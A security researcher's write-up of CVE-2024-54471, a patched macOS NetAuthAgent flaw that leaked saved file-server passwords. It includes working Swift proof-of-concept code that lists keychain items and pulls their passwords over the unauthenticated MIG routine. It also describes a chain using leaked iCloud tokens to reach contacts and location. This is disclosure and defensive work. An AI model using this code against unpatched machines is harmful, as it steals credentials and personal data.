Leaking Passwords (and more!) on macOS

Introduction
This article discusses a vulnerability, CVE-2024-54471, that was patched as part of the Apple security releases: macOS Sequoia 15.1, macOS Sonoma 14.7.1, and macOS Ventura 13.7.1 (all released on October 28th, 2024). If you use a macOS device and are not on one of these updated versions: update now!
This article is going to start with a lot of setup. I need to lay out some definitions and explain several concepts before jumping into the actual exploitation details. If you want, you can skip to the juicy exploitation info. For everyone else, thank's for coming along for the ride! Let me start by explaining inter-process communication on macOS.
What is a Kernel?
In an operating system, the code responsible for communicating with hardware and presenting a multi-tasking model to the applications (among many other things) is called the kernel. When code is executed in the kernel, it is said to be in kernel space, while code that is executed outside of the kernel (i.e. most applications) is said to be in user space. The separation between user space and kernel space is often an important security barrier.
The kernel for macOS (and pretty much all Apple OS's) is known as XNU. XNU is a hybrid kernel, containing parts of the BSD kernel and its variants, as well as a (now heavily-modified) variant of the Mach kernel. Interestingly, it appears that Apple is one of the only organizations out there that is still actively maintaining a Mach kernel variant. While the Free Software Foundation's GNU Hurd kernel is based on their own variant called GNU Mach, development on the GNU Hurd kernel project is very minimal today.
A (Not-So)-Brief History of Mach
The history of the Mach kernel is deeply entangled with the Unix wars of the 80's and 90's, with multiple organizations and groups working on it and using it, often in overlapping time periods. As such, there is not really a clean well-delineated timeline from the start of Mach to now. Additionally, certain historical notes don't have easily-found primary sources, but are repeated often enough in secondary and tertiary sources to be considered trustworthy. I have done my best to fact-check this section while also linking to primary sources (or as close as I could get) where important.
Mach started life as an operating systems research project of the Carnegie Mellon University School of Computer Science from 1985 to 1994.
In 1989, the Open Software Foundation (now The Open Group) announced it would be using Mach in their upcoming OSF/1 operating system. Unfortunately, I have been unable to find a direct link to this announcement, but I did find a few sentences of coverage of the announcement in an archive of a late-December issue of a online magazine called CPU NewsWire Online Magazine© (almost immediately after some coverage of late-1980's ransomware). The coverage of the announcement reads:
Cambridge, MA The Open Systems Foundation, an organization funded by ------------- several Unix vendors to develop a new Unix standard, has announced that they may use the Mach OS (currently used in the NeXT System) as the foundation for OSF/1, their new systems software platform, instead of using A/IX, IBM's version of Unix. Mach provides better data security measures, inherent support for multiprocessing, and compatibility with Berkeley Unix. But given that IBM's support of the OSF was partly based on the OSF's use of A/IX, and that much of the OSF's credibility depends on OSF/1 shipping by the announced date of July 1990....
It is unclear if the use of Open Systems Foundation
is an error, or simply another name the OSF was known by at the time. I'm also not sure why the last sentence ends the way that it does, as despite the ellipses, it does appear to be the end of the coverage. More pertinent to the current topic, though, is the reference to the NeXT System.
This is likely referring to NeXTSTEP, the operating system from NeXT (the company that Steve Jobs founded after originally being ousted from Apple). This is the link that would ultimately bring Mach into what is now macOS.
To say that NeXTSTEP simply used Mach would not tell the whole story. One of the original developers of Mach (and longtime friend of Steve Jobs) Avie Tevanian worked with Steve as an executive at NeXT. When NeXT was later acquired by Apple, both Steve and Avie were given executive positions at their new parent company. Their NeXTSTEP operating system was developed into Darwin the operating system basis for the next commercial release of Apple's Macintosh operating system: Mac OS X (now macOS).
Why Mach?
As mentioned previously, Mach was developed during the Unix wars of the 80's and 90's. Operating system vendors were all competing with each other to provide what they saw as the best way to design and use a Unix system. So what was it about Mach's Unix that was so special? What made it stand out amongst all the others? Really, it was the fact that it wasn't Unix... at least not completely.
In a paper submitted to the USENIX 1986 Summer Technical Conference & Exhibition (one of the earliest sources I could find), the developers laid out their vision and reasoning for creating Mach. They describe a landscape where inter-process communication had become frustratingly complex in Unix. What had started with the lowly file descriptor (a single handle that could allow a process to read, write, or seek) had turned into a confusing mess of streams, sockets, shared memory, and more. In an effort to simplify, they designed a system around Unix based on four basic abstractions.
The Architecture of Mach
The Four Abstractions
The four basic abstractions of Mach, as explain by the 1986 USENIX paper, are as follows (emphasis theirs):
- A task is an execution environment in which threads may run. It is the basic unit of resource allocation. A task includes a paged virtual address space and protected access to system resources (such as processors, port capabilities and virtual memory). The UNIX notion of a process is, in Mach, represented by a task with a single thread of control.
- A thread is the basic unit of CPU utilization. It is roughly equivalent to an independent program counter operating within a task. All threads within a task share access to all task resources.
- A port is a communication channel -- logically a queue for messages protected by the kernel. Ports are the reference objects of the Mach design. They are used in much the same way that object references could be used in an object oriented system. Send and Receive are the fundamental primitive operations on ports.
- A message is a typed collection of data objects used in communication between threads. Messages may be of any size and may contain pointers and typed capabilities for ports.
Things certainly have changed in the several decades since this paper's release. For example, Mach threads actually pre-date POSIX threads by nearly a decade (this fact has lead to difficulty when attempting shellcode injection on macOS). However, despite decades of other software changes, these four abstractions still underpin what Mach is today in modern macOS (and all other XNU-based Apple OS's).
Tasks, Ports, and Port Rights
Ports in Mach are interesting as the queues themselves really only exist in kernel space. Ports are exposed to user space as integers, similar to file descriptors. Except not really. What is actually exposed are port rights, with each task having a port name space
containing named port rights (the integers themselves being referred to as the names
of these rights). In some cases, two different rights to the same port may have the same name
and are thus exposed to the owning task in user space with the same integer.
Despite all this, in what appears to be an effort to use similarly-named API's in both kernel space and user space, these named port rights
are often referred to simply as ports
in user space, despite that being technically incorrect. It can all be very confusing, and only really starts to make sense after practice and immersing one's self in the world of Mach.
Regarding rights themselves, the two main types of rights are send rights and receive rights. The kernel will allow multiple tasks to hold a send right to a port, but will only allow a single task to hold a receive right. This essentially creates a client-server model with a single server task receiving messages from multiple client tasks. As alluded to by the Mach paper above, a task is basically synonymous with a process. However, there is one special task in Mach, the kernel itself (more on that later).
The Structure of a Message
Conceptually, each Mach message contains, in order:
- A header,
- an optional body of descriptors,
- an arbitrary payload of bytes, and
- a kernel-appended trailer (only on received messages).
Descriptors allow tasks to share out-of-line memory and even port rights with each other, with the kernel mapping addresses and manipulating port name spaces as necessary. The data in the arbitrary payload, on the other hand, is transferred as-is from the sending task to the receiving task.
How Tasks Get Send Rights
One might wonder how a task gets send rights to start with. macOS includes a bootstrap server, a Mach task that holds the receive right to a port to which every task holds a send right. The bootstrap server exposes the concept of Mach services, which are Mach servers registered with the bootstrap port with specific string names. Clients can ask the bootstrap server for send rights to these Mach services by name.
The Mach Interface Generator (MIG)
Introduction
While Mach messages seem simple on their face, in practice they can involve a lot of manual memory management, which can be prone to issues. Perhaps in an effort to combat this, the authors of Mach included MIG, which provides a way to create functional interfaces around the sending and receiving of Mach messages.
MIG is two parts: a pseudo-C IDL (interface definition language) and a compiler that takes in an IDL file and outputs multiple C files:
- a C source file to run on clients,
- a C source file to run on the server, and
- a C header file to use for both.
These files define functions that handle the messages for the clients and server, exposing an RPC-style interface wherein a client needs only to call a function on its end and a server needs only to implement that function on its end. This makes for a much more memory-safe messaging experience.
The Technical Details
On a technical level, MIG is really just a wrapper around Mach messages. Each function is referred to as a routine, with a collection of routines being referred to as a subsystem. Each subsystem has a subsystem number
of off which the routines will be indexed. These indexes are included in the message ID
field of the message header. For example, in a subsystem with the number 18000, messages meant for the second routine will have a message ID of 18001 (the routines are zero-indexed).
MIG is actually used heavily by the kernel. Mach itself doesn't have many system calls (specifically where a special CPU instruction is called and the kernel does something different based on a number in some register). The call to send or receive a message is, itself, a system call. However, many kernel API's you might think are system calls are merely MIG functions that send Mach messages to the kernel, which will perform the requested operation and return the result in a reply message.
For communication across user space, MIG has been largely superseded by Apple's own XPC API's. XPC (and really most IPC mechanisms on macOS) are also built on top of Mach messages, as they are the fundamental unit of inter-process communication in the Mach kernel. However, the XPC API's are much more developer-friendly than MIG. It's actually unclear if Apple ever truly supported third-party developers using MIG, as there does not appear to be any documentation from them on how to use it. However, they still do maintain their own version, and there are a few legacy MIG servers still around.
For those who are curious about the different IPC mechanisms in macOS, I highly recommend Ian Beer's fantastic talk on the topic. The video itself is nearly a decade old at this point, and many of the specific attack vectors he talks about (specifically those around memory manipulation) may not be entirely applicable today. However, it is still a very comprehensive look into the many different API's that processes have at their disposal on macOS to communicate with each other. Anyway, back to MIG!
Exploiting MIG Servers
On the Security of MIG Servers
You might notice the lack of security measures native to MIG. What is to stop a task from getting a send right to a MIG server and sending it the same messages that the MIG-compiled client code would, ultimately calling the remote routines on the server? There are ways a MIG server can verify the sender of a message. But if it neglects to do so, any task with a send right can call routines on the MIG server.
Finding MIG Servers
But how would you find MIG servers to exploit? This is where the ipsw
CLI tool from blacktop comes in very handy. The code that MIG compiles, almost as a rule, uses the specific symbol NDR_record
as the first field of every payload. It appears this symbol is meant to convey information on how certain primitives (such as characters and integers) are represented on the sending task.
The interesting thing about this is that I've never come across a MIG server that actually uses that field of the payload when parsing received messages. In spite of this, NDR_record
is still used in essentially all messages. Since it is an external symbol, this makes it easy to find binaries that use it. The ipsw
CLI includes a subcommand that, when pointed to a .ipsw
file (an update package for Apple OS's), you can search for binaries that import a specific symbol. To find binaries that use the NDR_record
symbol, you can run:
ipsw macho search /path/to/update.ipsw -m "NDR_record"
An important thing to note is that this will find both MIG servers and MIG clients (some binaries are even both a MIG client and a MIG server). However, it is fairly easy to tell the difference between client and server code once a binary is opened in a disassembler or decompiler. I may publish a more specific follow-up article detailing how to reverse MIG servers.
Exploitation Time!
Introducing NetAuthAgent
NetAuthAgent is a daemon on macOS (more specifically a user agent,
as the OS documentation delineates between the two terms) that is responsible for handling the credentials for file servers (FTP, Samba, WebDAV, etc.). Before this vulnerability was patched, you could send a message to NetAuthAgent asking for the credentials to any server, and it would just give them to you.
How NetAuthAgent Works
When accessing a file server through Go -> Connect To Server in Finder a dialog box like the one below might appear. This dialog is actually coming from NetAuthAgent (or perhaps a sibling process of NetAuthAgent). If the user opts to check the box to remember the password, the credentials are stored in the macOS keychain.

The macOS Keychain
It's important to understand that NetAuthAgent itself did not (and does not) store the credentials directly. The macOS keychain is essentially a central secrets manager. NetAuthAgent uses this centralized location to store the credentials. Apple seems to downplay the importance of the keychain, with the documentation for their GUI Keychain Access app describing it as merely a way to manage certificates.
The OS will also attempt to direct users to the Passwords app when users open the Keychain Access app:

In reality, the keychain is much more than Apple would suggest. Many applications, including NetAuthAgent, use it to store secrets. It's a fairly well-designed system, with each keychain item having its own access control list. This generally blocks applications from accessing secrets they should not have access to. However, if a process were to expose a mechanism for other processes to essentially proxy keychain queries through it, that can undermine the security of the whole system.
NetAuthAgent's MIG Server
NetAuthAgent exposes a MIG server available to lookup from the bootstrap server under the name com.apple.netauth.user.gui
. The server exposed routines to read, create, and even overwrite in some cases, file server credentials. None of the routines ever verified message senders before this patch.
Exploiting NetAuthAgent
On Kass
While exploring the internals of XNU, I decided to develop Kass, a security research tool written in Swift, to help me have a better time dealing with Mach messages. Kass has since expanded to cover much more than Mach messages, covering many more Mach API's in XNU as well as several of its BSD-layer kernel API's.
The proof-of-concept code I am including here will be written with the help of this tooling. Most of the code will be presented with minimal comment, as if I had to explain all the intricacies of how Kass works, in addition to Swift syntax, this article would be much longer than it already is! If you're curious about how to use Kass, I encourage you to take a look through my documentation.
Building a MIG Client
Kass provides an easy way to define a MIG client with a service name and subsystem number (the baseRoutineID
argument) like so:
class NetAuthAgentClient: Mach.MIGClient, Mach.PortInitializableByServiceName {
convenience init() throws {
try self.init(serviceName: "com.apple.netauth.user.gui", baseRoutineID: 40200)
}
...
}
Writing a Client Routine Handler
Keychain items on macOS have a metadata field that says what class
an item is of. Routine 19 (message ID 40219) of NetAuthAgent allows clients to essentially proxy keychain queries for items with a class of internet password.
This is the class that NetAuthAgent uses for most file server credentials. The routine takes in an out-of-line data descriptor containing a serialized dictionary of arguments, and returns two out-of-line data descriptors containing the username and password.
Note that the routine expects the size of the data in the descriptor to be sent along in the payload (even though the descriptor itself includes the size). This is because that is what the MIG-compiled client code does for this routine, so this code needs to emulate that behavior.
...
func getInternetPassword(
scheme: String? = nil, host: String, port: Int? = nil, path: String? = nil,
username: String? = nil
) throws -> (username: String, password: String) {
struct InternetPasswordPayload: Mach.TrivialMessagePayload, Mach.MIGPayloadWithNDR {
let NDR: NDR_record_t = NDR_record_t()
let size: mach_msg_size_t
}
let plistData = self.serializeInternetPasswordOptions(
scheme: scheme, host: host, port: port, path: path
)
let reply = try self.doRoutine(
19,
request: Mach.MIGRequest(
descriptors: [
mach_msg_ool_descriptor_t(data: plistData)
],
payload: InternetPasswordPayload(size: mach_msg_size_t(plistData.count))
)
)
let username = String(
data: (reply.body!.descriptors[0] as! mach_msg_ool_descriptor_t).data ?? Data(),
encoding: .utf8
)!
let password = String(
data: (reply.body!.descriptors[1] as! mach_msg_ool_descriptor_t).data ?? Data(),
encoding: .utf8
)!
return (username, password)
}
...
The code above calls serializeInternetPasswordOptions
to serialize a dictionary so it can be sent in an out-of-line data descriptor. Below is the implementation for that helper function:
...
private func serializeInternetPasswordOptions(
scheme: String? = nil, host: String, port: Int? = nil, path: String? = nil
) -> Data {
var options: [String: Any] = [:]
if let scheme = scheme { options["Scheme"] = scheme }
options["Host"] = host
if let port = port { options["AlternatePort"] = port }
if let path = path { options["Path"] = path }
return try! PropertyListSerialization.data(
fromPropertyList: options, format: .binary, options: 0
)
}
...
Finding Credentials To Query
The macOS keychain provides API's to query for keychain items, and these are what NetAuthAgent uses internally. Interestingly, these API's can often be used by unprivileged processes to get the metadata about keychain items, as long as they are not asking for the secret values themselves. The below defines a variable netAuthAgentInternetPasswords
that will contain an array of keychain items that NetAuthAgent should be able to access.
var netAuthAgentInternetPasswords: [[CFString: Any]] {
var cfItems: CFTypeRef?
let copyMatchingStatus = SecItemCopyMatching(
[
kSecClass: kSecClassInternetPassword,
kSecReturnAttributes: true,
kSecMatchLimit: kSecMatchLimitAll,
kSecReturnRef: true,
] as CFDictionary,
&cfItems
)
guard let items = cfItems as? [[CFString: Any]], copyMatchingStatus == errSecSuccess
else { return [] }
return items.compactMap {
item in
guard let keychainItem = item[kSecValueRef as CFString] as! SecKeychainItem?
else { return nil }
guard canNetAuthAgentAccess(keychainItem: keychainItem) else { return nil }
return item
}
}
The access control list is among the metadata that is accessible without privilege, allowing for this code to check if NetAuthAgent is in the list of trusted applications.
func canNetAuthAgentAccess(keychainItem: SecKeychainItem) -> Bool {
var access: SecAccess?
let copyAccessStatus = SecKeychainItemCopyAccess(keychainItem, &access)
guard let access = access, copyAccessStatus == errSecSuccess else { return false }
var aclList = CFArrayCreateMutable(nil, 0, nil) as CFArray?
let copyACLStatus = SecAccessCopyACLList(access, &aclList)
guard let aclList = aclList, copyACLStatus == errSecSuccess else { return false }
let acls = aclList as! [SecACL]
for acl in acls {
var applicationList = CFArrayCreateMutable(nil, 0, nil) as CFArray?
var description: CFString?
var promptSelector: SecKeychainPromptSelector = .init()
let copyContentsStatus = SecACLCopyContents(
acl, &applicationList, &description, &promptSelector
)
guard let applicationList = applicationList, copyContentsStatus == errSecSuccess else {
continue
}
let applications = applicationList as! [SecTrustedApplication]
for application in applications {
var data: CFData? = CFDataCreateMutable(nil, 0)
let copyRequirementStatus = SecTrustedApplicationCopyData(application, &data)
guard let data = data as? Data, copyRequirementStatus == errSecSuccess else {
continue
}
let app = String(data: data, encoding: .utf8)
if app?.contains("/System/Library/CoreServices/NetAuthAgent.app") == true {
return true
}
}
}
return false
}
These credentials can then be iterated over in a simple loop like so:
for item in netAuthAgentInternetPasswords {
let protocolType = item[kSecAttrProtocol as CFString] as! CFString
let host = item[kSecAttrServer as CFString] as! String
let port = item[kSecAttrPort as CFString] as? Int
let path = item[kSecAttrPath as CFString] as? String
let username = item[kSecAttrAccount as CFString] as? String
let displayName = item[kSecAttrLabel as CFString] as! String
print("Item:")
print("\tDisplay Name: \(displayName)")
print("\tProtocol: \(protocolType)")
print("\tHost: \(host)")
if let port = port { print("\tPort: \(port)") }
if let path = path { print("\tPath: \(path)") }
if let username = username { print("\tUsername: \(username)") }
let credentials = try NetAuthAgentClient().getInternetPassword(
host: host, port: port, path: path, username: username
)
print("Credentials:")
print("\tUsername: \(credentials.username)")
print("\tPassword: \(credentials.password)")
}
This is bad.
This is obviously a pretty bad situation. Before this vulnerability was patched, a malicious process with the ability to get a send right to NetAuthAgent could then leak all the file server credentials. This is especially dangerous as, in corporate environments, these could be SSO credentials, potentially giving an attacker access to multiple other resources within the corporate system.
While it is basically impossible to know how many companies are using the Connect to Server
feature in Finder to connect ot their file servers (instead of using alternate third-party) clients, it is possible to see other organizations that are likely using it. When doing research for this vulnerability, I found multiple colleges and universities with help articles directing students and faculty to use this feature, with many explicitly telling users to check the box saving the credentials to the keychain.
One article of note was a print server vendor's instructions on connecting to printers (yes NetAuthAgent handles printer server credentials too). I did also find at least one article instructing users not to check the box, as Apple's Keychain Access app would be too unwieldy for a general user to use if they needed to update the saved password.
Additionally, while I was unable to confirm it, this could also potentially lead to a privilege escalation attack if those credentials could also be used as superuser credentials on a managed device. It's fairly trivial to silently escalate to root on macOS, if the credentials for an administrative user are known. I did not have a managed device to test with, so I cannot confirm this. However, I recall when I did use a MacBook provided by my employer, I signed into it using my SSO credentials.
It's also important to understand how this affects individual users as well. If a user has their own NAS and connected to it via Finder (and opted to save the credentials), this vulnerability would expose those credentials to attackers. If that user also reused those credentials for other internet accounts, an attacker could compromise those other accounts as well.
And of course, barring any additional security checks, this vulnerability allows an attacker to access the files on the server. These files could be literally anything: from a users personal documents to a company's highly sensitive trade secrets. Given that FTP, Samba, and WebDAV all have well-defined interfaces, discovery and exfiltration of files can easily be automated after the credentials are leaked.
Another, less likely, use of this vulnerability is as a covert data-hiding method for other malicious processes. As NetAuthAgent exposed routines to create keychain items, a particularly crafty malicious process could delegate it to create specific items, stuffing arbitrary data into the password
field. When that process needs the data again, it can ask NetAuthAgent to supply it. This avoids writing to disk, which might trigger security software. I'm unaware of any security software that explicitly checks the keychain for suspicious entries. And who would manually check their keychain for such things?
As a final note, this vulnerability did open up the possibility of a malicious process saving legitimate credentials to the keychain. While this probably wouldn't do anything on it's own, it could be used in a more complex attack where an attacker saves credentials to a file server they control and then social engineers the user into entering the address into the Connect to Server
dialog, or similar. How that could progress to a compromise, I am unsure. But it is a possibility.
An Exploit Chain
Introduction
One might think that if they don't use the Connect to Server
option in Finder, that they have nothing to worry about in regards to this vulnerability. They would be wrong. This vulnerability also exposed an exploit chain that allowed attackers access to much more than what has been mentioned above.
The Keychain Item
Remember how each keychain item has its own access control list? And remember how all NetAuthAgent is doing is proxying keychain requests? It would be really bad if there was a keychain item, that didn't have anything to do with file servers, that had an open enough ACL to where NetAuthAgent could access it.
It turns out: there is such an item. On basically every macOS device, there is a keychain item that contains…
- …a decryption key…
- …for a file on-disk that contains…
- …iCloud account information and API tokens.
What's in The File?
Taking the keychain item and the file (which is at a known location on-disk), an attacker can decrypt the file and gain access to a wealth of information on the iCloud account of the device's user:
- first and last name,
- email address,
- email aliases,
- enabled features and their endpoints,
- multiple long-lasting API tokens, etc.
This is personal information that I would assume the average user would not want to be exposed in this way. The more dangerous part, though, is the exposure of the API keys. What could an attacker use this for?
Using the API Tokens
Previous Work
At this point, I am indebted to the work of Wojciech Reguła, a Polish security researcher and head of mobile security at Securing. He was able to find these API tokens, albeit through a different method, several years ago. He used the tokens to leak out the user's:
- Contacts,
- Calendars,
- Reminders, and
- even their location through Find My.
I was able to replicate all of this, save for Reminders on newer and migrated accounts as Apple has recently migrated them to the more-secure CloudKit (where they are only accessible in their encrypted form). It's likely that Contacts and Calendars were not given this treatment in an effort to allow for easier integration with third-party software. Tangentially, the Find My network likely doesn't have much additional security around it to better enable smooth operation of the network itself.
My Additions
I was able to take Wojciech's work and expand upon it, adding the ability to:
- leak contact photos,
- query (but not decrypt) CloudKit,
- leak data from the iCloud key-value store,
- leak metadata about iCloud backups (including device serial numbers),
- leak the locations of the user's other devices through Find My,
- leak the locations of the user's friends through Find My,
- and even perform lock, erase, and
play sound
operations through Find My.
I did try to investigate what would be needed to decrypt CloudKit data, and I did get pretty close (at least, I believe I was close), but I was unable to finish and ultimately gave up. However, I would not be surprised if it is within the capabilities of some commercial forensics companies out there to use these API tokens (along with the PIN for an iOS device, if necessary) to decrypt CloudKit data, either directly from CloudKit or (more likely) from the user's iCloud backups.
This is really bad.
This is now obviously a very bad situation. Not only did this vulnerability expose file server credentials (and all the mess that causes), but it also exposed iCloud API tokens, opening up even more avenues of attack (potentially more than I have even speculated on in this article). And all of this stemmed from one daemon not verifying the senders of messages it received. But wait a minute. How should a daemon do that?
What Should Apple Have Done?
I am now going to say the one word that a bunch of readers have probably been screaming in their heads for the past while: entitlements. Entitlements, on their own, are simply key-value pairs attached to a binary at code-signing time. At the lowest level (i.e. when using the codesign
CLI directly), a binary can be signed with any arbitrary entitlements.
However, in every macOS device in the standard security configuration, there is a kernel module called Apple Mobile File Integrity that will scan every process that launches and will immediately kill processes that have restricted entitlements
that they don't have a proper provisioning profile for. Provisioning profiles have to be signed by Apple, so it's very difficult to get past this check.
This results in a system where the processes that are running should only have entitlements that were allowed by AMFI. Thus, if you were to check the entitlements of a process, they would serve as a good metric of what the process is entitled (hence the name) to do. This is ultimately what NetAuthAgent should have done, and what it does now. When it receives a message, it first checks the entitlements of the sender. If the sender does not have the entitlements key com.apple.private.netauth.useragent.allow
with a boolean value of true
, it refuses to respond to the message. This effectively blocks any exploitation of NetAuthAgent's MIG routines.
But how can a daemon know the sender of a Mach message? Well, remember that a message, when received, has a kernel-appended trailer. This trailer contains, among other things, an audit token that can be used to uniquely identify the sending task. A receiving task can use the audit token and ask the kernel for the entitlements dictionary for the task with that token. It can then parse through that dictionary and act upon the existence (or non-existence) of given entitlements keys and value. Again, this is what NetAuthAgent now does and (honestly) what it should have been doing all along.
Conclusion
The Weakest Link
Its vulnerabilities like this that call to mind the old phrase a chain is no stronger than its weakest link.
The credentials for file servers may have been stored in a way where only a specific application could access them, but if that application also allowed other applications to command it to retrieve those credentials, that's the weakest link. If API tokens to iCloud are stored in an encrypted file on disk, but the decryption key has a wide access control list, that's the weakest link.
How Secure is Apple?
In my time researching the macOS platform, I have found that Apple generally has good security infrastructure. I've focused primarily on inter-process communication mainly due to the fact that process injection is extremely difficult to achieve with all of Apple's security measures in place. Despite the, honestly laughable, simplicity of this vulnerability (and even the large danger it poses), I don't mean to imply that Apple is bad at security. I would say they are often far better than competitors.
But that doesn't mean you should trust them implicitly. In early February of 2025, The Washington Post reported that the United Kingdom had ordered that Apple give them access to customer data under the Investigatory Powers Act of 2016. Later that month, Apple pulled Advanced Data Protection, a more advanced encryption feature, for their UK customers. While some praised Apple for not providing the UK government with a backdoor,
I find the act of pulling the feature to still be capitulation. The UK government got what they wanted, which was easier access to the data. And while Apple is reportedly fighting back against the order, this situation makes it clear that, in the face of overbearing governments, Apple cannot be trusted.
My Recommendations
For those who still can, I would encourage you to enable Advanced Data Protection. Alternatively, if you never use a web browser to access your iCloud, you can at least disable web access to iCloud data. The iCloud website sometimes uses different API endpoints than Apple's iCloud apps. I actually did not research these specific endpoints much for this vulnerability, so it's possible they were/are more vulnerable to attacks with the API tokens. While the tokens are no longer accessible through this vulnerability, they were exposed through a previous vulnerability and may be exposed by some later one.
Finally, while there is no evidence this exploit was ever used (or even found) by malicious actors, if you are particularly concerned that your credentials were exploited through this vulnerability, you should obviously change them. And for anyone who still hasn't updated their macOS devices since October of last year: please update now. I hope this article has accurately informed you on the importance of updating.
A Final Question
One final question you might have is this: Given that MIG is a legacy communication protocol, largely superseded by XPC, what are the chances there are other vulnerable MIG servers out there?
Until next time... watch this space.